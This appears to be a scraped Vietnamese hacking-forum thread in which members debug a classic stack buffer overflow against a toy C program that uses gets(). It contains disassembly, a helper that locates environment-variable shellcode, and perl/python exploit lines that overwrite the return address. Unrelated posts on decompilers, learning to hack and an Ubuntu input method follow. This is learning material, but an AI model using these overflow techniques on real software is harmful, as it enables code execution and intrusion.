@Tal: Bạn có thể giải thích tại sao khi compile, bạn cho thằng -mpreferred-stack-boundary=2 được ko? :) Cái này có lẽ liên quan đến memory allocate của gcc, dung lượng stack frame đc gcc cấp sẽ thay đổi phụ thuộc vào thuộc tính này ?? :-/ Trong trường hợp này là Code:Đúng. độ lớn của stack frame phụ thuộc vào thông số này. Gcc 4.2.x mặc định sẽ gán kích thước của buffer và biến cục bộ và thêm padding sao cho địa chỉ stack (địa chỉ thanh ghi ESP) luôn là bội số của 16 (1 paragraph). Vì thế mà nếu không gán stack-boundary=2 (ESP là bội số của 4 bytes) thì gcc phải tự tính toán để điều chỉnh lại giá trị của buffer sao cho phù hợp. Lấy ví dụ chương trình của tớ nếu để stack boundary mặc định thì sẽ có mã asm tương tự chương trình anh mrro ở trên. Trong mã ASM ở trên cậu cũng có thể thấy các đoạn mã nhằm hiệu chỉnh stack sao cho nó là bội của 16 Ví dụ ở các chỗ tớ bôi màu vàng
0x080483a7 <main+3>: sub $0x10,%esp
(gdb) disas main Dump of assembler code for function main: 0x080483a4 <main+0>: lea 0x4(%esp),%ecx 0x080483a8 <main+4>: and $0xfffffff0,%esp 0x080483ab <main+7>: pushl -0x4(%ecx) 0x080483ae <main+10>: push %ebp 0x080483af <main+11>: mov %esp,%ebp 0x080483b1 <main+13>: push %ecx 0x080483b2 <main+14>: sub $0x24,%esp 0x080483b5 <main+17>: movl $0x80484b0,(%esp) 0x080483bc <main+24>: call 0x804830c <printf@plt> 0x080483c1 <main+29>: lea -0xc(%ebp),%eax 0x080483c4 <main+32>: mov %eax,(%esp) 0x080483c7 <main+35>: call 0x80482ec <gets@plt> 0x080483cc <main+40>: lea -0xc(%ebp),%eax 0x080483cf <main+43>: mov %eax,0x4(%esp) 0x080483d3 <main+47>: movl $0x80484c4,(%esp) 0x080483da <main+54>: call 0x804830c <printf@plt> 0x080483df <main+59>: mov $0x0,%eax 0x080483e4 <main+64>: add $0x24,%esp 0x080483e7 <main+67>: pop %ecx 0x080483e8 <main+68>: pop %ebp 0x080483e9 <main+69>: lea -0x4(%ecx),%esp 0x080483ec <main+72>: ret End of assembler dump.Vì con trỏ, độ lớn biến nguyên ... đều chiếm 4 bytes nên nếu để stack-boundary=2 (bội 4) thì việc tính toán, hiệu chỉnh sẽ trở nên đơn giản hơn. Vì thế code assembly sạch đẹp hơn, dễ nhìn, dễ exploit hơn :D. @mrro: em nghĩ tăng độ dài buffer thêm 4 bytes là vượt qua được chương trình trên để ghi đè RIP đúng không nhỉ? :D Vấn đề là tớ đã chỉnh lại độ dài buffer, điều chỉnh lại địa chỉ nhảy về... nhưng chương trình vẫn không thể nhảy đến đoạn shellcode được. Không hiểu thế nào. Mọi người xem Code:
Tal@vxer:~/Documents/Research$ export CODE=`cat shellcode` Tal@vxer:~/Documents/Research$ ./getenv CODE CODE is located at 0xbfffff5a Tal@vxer:~/Documents/Research$ ./getname What is your name: hello Aha, your name is: hello Tal@vxer:~/Documents/Research$ perl -e "A"x12 . "\x5a\xff\xff\xbf" | ./getname What is your name: Aha, your name is: ����������P��� Tal@vxer:~/Documents/Research$
Chắc bạn chưa xem cái đoạn disassembly của hàm main :)#include <string.h> #include <stdio.h> int main(int argc, char **argv) { char name[8]; printf("What is your name: "); gets(name); printf("Aha, your name is: %s\n",name); return 0; } @Tal: Đề nghị bạn đọc kỹ lại đoạn code của bạn xem độ dài buffer là bao nhiêu trước khi tiếp tục :)
(gdb) disas main Dump of assembler code for function main: 0x080483a4 <main+0>: push %ebp 0x080483a5 <main+1>: mov %esp,%ebp 0x080483a7 <main+3>: sub $0x10,%esp 0x080483aa <main+6>: movl $0x80484a0,(%esp) 0x080483b1 <main+13>: call 0x804830c <printf@plt> 0x080483b6 <main+18>: lea -0x8(%ebp),%eax 0x080483b9 <main+21>: mov %eax,(%esp) 0x080483bc <main+24>: call 0x80482ec <gets@plt> 0x080483c1 <main+29>: lea -0x8(%ebp),%eax 0x080483c4 <main+32>: mov %eax,0x4(%esp) 0x080483c8 <main+36>: movl $0x80484b4,(%esp) 0x080483cf <main+43>: call 0x804830c <printf@plt> 0x080483d4 <main+48>: mov $0x0,%eax 0x080483d9 <main+53>: leave 0x080483da <main+54>: ret End of assembler dump.]]>
Nhìn đoạn disassembly của bạn, mình đề nghị bạn chạy thử cái này xem: python -c 'print "A"*12 + "\xAA\xBB\xXCC\xDD"' |./vul Lưuý: \xAA\xBB\xCC\xDD là địa chỉ biến môi trường CODE chứa shellcode của bạnBạn có nhầm không vì độ dài của buffer là 16 bytes + 8 bytes nữa của con trỏ và địa chỉ trả về mới ghi đè được địa chỉ trả về chứ? Lệnh khai thác của bạn mới chỉ đẩy vào buffer 16 bytes = độ dài buffer :-/ Ở đoạn code khai thác mình mới để 20 bytes nên địa chỉ trả về là sai -> không khai thác được. Nhưng khi mình đẩy vào buffer nhiều thứ hơn, nó vẫn chưa nhảy về đúng đoạn shell. Đấy là chỗ mình chưa nắm rõ Hơn nữa là đúng như anh mrro nói, mình đã xác định sai mục tiêu. mybb wrote:
Ý mình là làm sao bạn biết địa chỉ biến môi trường khi bạn chạy cái chương trình lấy ở trên và khi chạy cái getname.out của bạn là trùng nhau? Nếu nó khác thì sao?Biến môi trường được nạp tại địa chỉ gần nhau nếu tên chương trình chạy có độ dài gần nhau. Ở đây tớ thấy độ dài của 1 chương trình là getname, 1 cái là getenv hơn kém nhau 1 ký tự -> địa chỉ sẽ nạp chênh lệch nhau là 2 bytes. Vậy cơ bản là địa chỉ không chênh lệch lắm khi có đoạn NOP bảo kê. @anh lamer: Hì hì anh chỉ cho em cách exploit thằng này với :D ]]>
#include <stdlib.h> #include <stdio.h> int main(int argc, char **argv) { char *addr; if (argc < 2) { printf("Usage: %s <env var name>\n", argv[0]); } else { addr = getenv(argv[1]); if (addr == NULL) { printf("The environment variable %s does not exist\\n", argv[1]); } else { printf("%s is located at %p\n", argv[1], addr); } } return 0; }
@Tal: bạn phải gdb debug xem chuyện gì xảy ra chứ ? Chứ nói vậy ai mà mò dùm bạn? Trước hết bạn cho vài thông tin: 1.gcc --version 2.gdb ./target disassemble main ... vvThử gdb rồi nhưng không được, cần sự hướng dẫn cách gdb mà :( Thông tin thì có ngay ;) Code:
gcc --version gcc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu7) Copyright (C) 2007 Free Software Foundation, Inc. This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
(gdb) disas main Dump of assembler code for function main: 0x080483a4 <main+0>: push %ebp 0x080483a5 <main+1>: mov %esp,%ebp 0x080483a7 <main+3>: sub $0x10,%esp 0x080483aa <main+6>: movl $0x80484a0,(%esp) 0x080483b1 <main+13>: call 0x804830c <printf@plt> 0x080483b6 <main+18>: lea -0x8(%ebp),%eax 0x080483b9 <main+21>: mov %eax,(%esp) 0x080483bc <main+24>: call 0x80482ec <gets@plt> 0x080483c1 <main+29>: lea -0x8(%ebp),%eax 0x080483c4 <main+32>: mov %eax,0x4(%esp) 0x080483c8 <main+36>: movl $0x80484b4,(%esp) 0x080483cf <main+43>: call 0x804830c <printf@plt> 0x080483d4 <main+48>: mov $0x0,%eax 0x080483d9 <main+53>: leave 0x080483da <main+54>: ret End of assembler dump.
#include <string.h> #include <stdio.h> int main(int argc, char **argv) { char name[8]; printf("What is your name: "); gets(name); printf("Aha, your name is: %s\n",name); return 0; }
export CODE=`perl -e 'print "\x90"x20';cat shellcode`
perl -e 'print "\xb3\xfe\xff\xbf"x20' | ./getname.out
Cho mình hỏi thêm tại sao ko dịch được ngôn ngữ cấp cao mà lại dịch ngược được ngôn ngữ cấp thấp.Tại vì khi dịch ra ngôn ngữ cấp cao sẽ gặp phải sự thiếu chính xác --> Ảnh hưởng đến mục đích của việc dịch ngược. Ví dụ: mov ecx,3 shr eax,ecx cái này khó mà dịch cho đúng nhé vì compiler có thể dịch thành: a = a * 8 hoặc cũng chỉ đơn giản là:a<<8. Tất nhiên ảnh hưởng ở đây là không rõ ràng nhưng tôi muốn minh họa là 2 câu lệnh trên khác nhau rồi. sunrise_vn wrote:
Mình đã dùng thử Visual Basic Decompiler rất tốt. Như vậy thuật toán Compile của Microsoft khác với của Bolarnd hả bạn? Tool để Decompile Visual C++ và cả Borland C++ cũng có luôn đóa.Khác chứ. Các trình biên dịch chỉ tuân thủ chuẩn ngôn ngữ thôi, còn đâu mã các trình biên dịch khác nhau sinh ra về cơ bản là khác nhau (Thậm chí còn tùy vào nó compile cho môi trường nào nữa ấy chứ). Ngay cả trong 1 ngôn ngữ, việc thay đổi các option cũng sinh ra mã assembly khác nhau rồi. Tôi chưa dùng thử mấy tool đó nên không biết nó chính xác đến đâu. Bạn có thể giới thiệu vài công cụ tốt tốt được không? :) ]]>
Chào cả nhà, HVA - cái tên này mình nghe lâu rùi nhưng giờ mới được tham gia là một thành viên chính thức của 4rum( vì bận hoàn thành 12 năm học ). Mình rất ham mê IT nhất là lĩnh vực mạng và lập trình. Nhưng giờ mới có cơ hội tiếp xúc. Nhưng khi tham gia HVAONLINE thì thấy mấy bác pro viết bài mình chả hiểu gì cả. Nay mình rất mong sẽ có 1 bác nào pro và có lòng làm sư phụ, chỉ dẫn cho mình một vài bước đầu tiên để trở thành 1 hacker ( đừng nói là đọc bài become a hacker nha). Cụ thể 1 sư phụ rất đơn giản là giải thích cho mình 1 vài thuật ngữ bắt gặp trên đường đi học hack, với lại chỉ cho mình 1 vài vấn đề mấu chốt của công việc hacking. Mong là sẽ nhận được câu trả lời từ Pro. Thank!Cũng trong diễn đàn này, vào mục Các bài viết giá trị trong mục thảo luận và thâm nhập -> Những cuộc đối thoại với rookie (13 phần). Đọc xong cái đó là biết phải làm gì tiếp à :) ]]>
Truoc het xin loi cac bac vi SCIM ko chay va dien dan de kieu Tu dong ma ko go duoc tieng Viet. Em cai Ubuntu 8.04 x64 xong, cai cac goi m17n-db,scim-m17n. Nhung khi an Ctrl+Space thi SCIM khong hien len gi het. Cac bac giup em voi!Bạn chọn 1 công cụ editor nào đó, cho con trỏ chuột vào đó, rồi ấn ctrl+space xem có chạy không?]]>